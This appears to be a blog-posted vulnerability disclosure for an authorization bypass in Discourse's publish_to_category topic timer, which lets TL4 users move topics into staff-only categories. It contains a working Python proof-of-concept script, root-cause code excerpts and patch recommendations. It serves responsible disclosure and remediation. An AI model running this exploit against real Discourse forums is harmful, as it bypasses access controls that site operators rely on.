Summary
A missing authorization check in Discourse’s topic timer (publish_to_category) functionality allows TL4 (Leader) users to publish or move topics into categories they are not permitted to write to, such as staff-only categories.
When configuring the timer, no permission check is performed on the destination category_id. When the scheduled time is reached, the publish action is executed as Discourse.system_user, bypassing category-level permission boundaries. As a result, content is published into categories that the original user does not have access to, causing an authorization bypass and integrity impact.
This effectively allows privilege escalation from a moderator-level role into staff-only category publishing via deferred execution.
Description
Under the normal posting flow, Discourse enforces authorization checks to determine whether a user is allowed to create or move a topic into a specific category. For example, a TL4 (Leader) user cannot directly create a topic in a staff-only category, and such attempts correctly fail with a 403 Forbidden response.
However, when using the publish_to_category topic timer, authorization checks for the destination category are missing at the time the timer is configured. Once the scheduled time is reached, the publish action is executed by Discourse.system_user, and the original user’s category write permissions are not revalidated.
As a result, a user who has moderation privileges but lacks write access to certain categories can cause a topic to be published or moved into staff-only categories through the timer mechanism.
Expected Flow
- When configuring a publish_to_category timer, Discourse should verify that the requesting user has write permission for the destination category.
- Users without permission should not be able to schedule publishing or moving topics into staff-only categories.
- Authorization for the destination category should be revalidated at execution time before the scheduled publish action is performed.
Root Cause
File: app/controllers/topics_controller.rb
def timer
...
guardian.ensure_can_moderate!(topic)
...
options.merge!(category_id: params[:category_id]) if params[:category_id].present?
topic_timer = topic.set_or_create_timer(status_type, params[:time], **options)
...
end
File: app/models/topic.rb
if status_type == TopicTimer.types[:publish_to_category]
topic_timer.category = Category.find_by(id: category_id)
end
File: app/jobs/regular/publish_topic_to_category.rb
return unless Guardian.new(topic_timer.user).can_see?(topic)
TopicPublisher.new(
topic,
Discourse.system_user,
topic_timer.category_id
).publish!
Explanation:
- No authorization check is performed on the destination category_id when the timer is created.
- When the timer executes, publishing is performed using Discourse.system_user.
- As a result, user-supplied input is executed with elevated privileges without validating category-level write permissions.
Proof of Concept
Scenario (Observed Behavior)
- Log in as a TL4 (Leader) user.
- Create a topic in a public category.
- Configure a publish_to_category timer while specifying a staff-only category as the destination.
- When the scheduled time is reached, the topic is published or moved into the staff-only category.
- Verify that the same TL4 user cannot directly create a topic in the staff-only category, receiving a 403 Forbidden response.
PoC Code (Python requests)
import requests
BASE = "<http://localhost:8020>"
USERNAME = "tl4user"
PASSWORD = "TL4Pass123!"
PUBLIC_ID = 5
STAFF_ID = 6
def get_csrf(session):
r = session.get(f"{BASE}/session/csrf", headers={"Accept": "application/json"})
r.raise_for_status()
return r.json()["csrf"]
def login(session):
csrf = get_csrf(session)
r = session.post(
f"{BASE}/session",
data={"login": USERNAME, "password": PASSWORD},
headers={"X-CSRF-Token": csrf, "Accept": "application/json"},
)
r.raise_for_status()
def create_topic(session):
csrf = get_csrf(session)
r = session.post(
f"{BASE}/posts.json",
data={
"title": "TL4 Publish Timer PoC",
"raw": "This topic will be published into a staff-only category via timer.",
"category": PUBLIC_ID,
},
headers={"X-CSRF-Token": csrf, "Accept": "application/json"},
)
r.raise_for_status()
return r.json()["topic_id"]
def set_timer(session, topic_id):
csrf = get_csrf(session)
r = session.post(
f"{BASE}/t/{topic_id}/timer",
data={
"status_type": "publish_to_category",
"category_id": STAFF_ID,
"time": "0.001",
},
headers={"X-CSRF-Token": csrf, "Accept": "application/json"},
)
r.raise_for_status()
return r.json()
s = requests.Session()
login(s)
topic_id = create_topic(s)
resp = set_timer(s, topic_id)
print("topic_id:", topic_id)
print("timer_resp:", resp)
PoC Result
- A TL4 user attempting to directly create a topic in a staff-only category receives a 403 Forbidden response.
- The same TL4 user is able to publish or move a topic into a staff-only category via the publish_to_category timer.
Impact
- Attacker requirements: Authenticated TL4 (Leader) user.
- Attack method: Specifying a staff-only category ID when configuring a publish_to_category timer.
- Result: Topics are published or moved into categories the user does not have permission to write to.
In realistic scenarios, users with limited operational privileges can publish or move content into staff-only categories, bypassing category access controls and internal moderation policies. This constitutes a clear integrity violation.
Patch Recommendation
- Add category-level write permission checks when configuring the publish_to_category timer.
- Revalidate the requesting user’s permissions for the destination category at execution time.
- Restrict publish_to_category timers to users with explicit permission, or cancel execution when the user no longer has authorization.
'0-day' 카테고리의 다른 글
| CVE-2026-0994 (protobuf / cvss 8.2) (0) | 2026.02.28 |
|---|---|
| CVE-2026-27966 (langflow / cvss 9.8) (0) | 2026.02.28 |
| CVE-2026-22922(airflow / cvss 6.5) (1) | 2026.02.25 |
| CVE-2026-21721(grafana / cvss 8.1) (1) | 2026.01.31 |
| CVE-2025-66514(Nextcloud Mail / cvss 5.4) (0) | 2025.12.27 |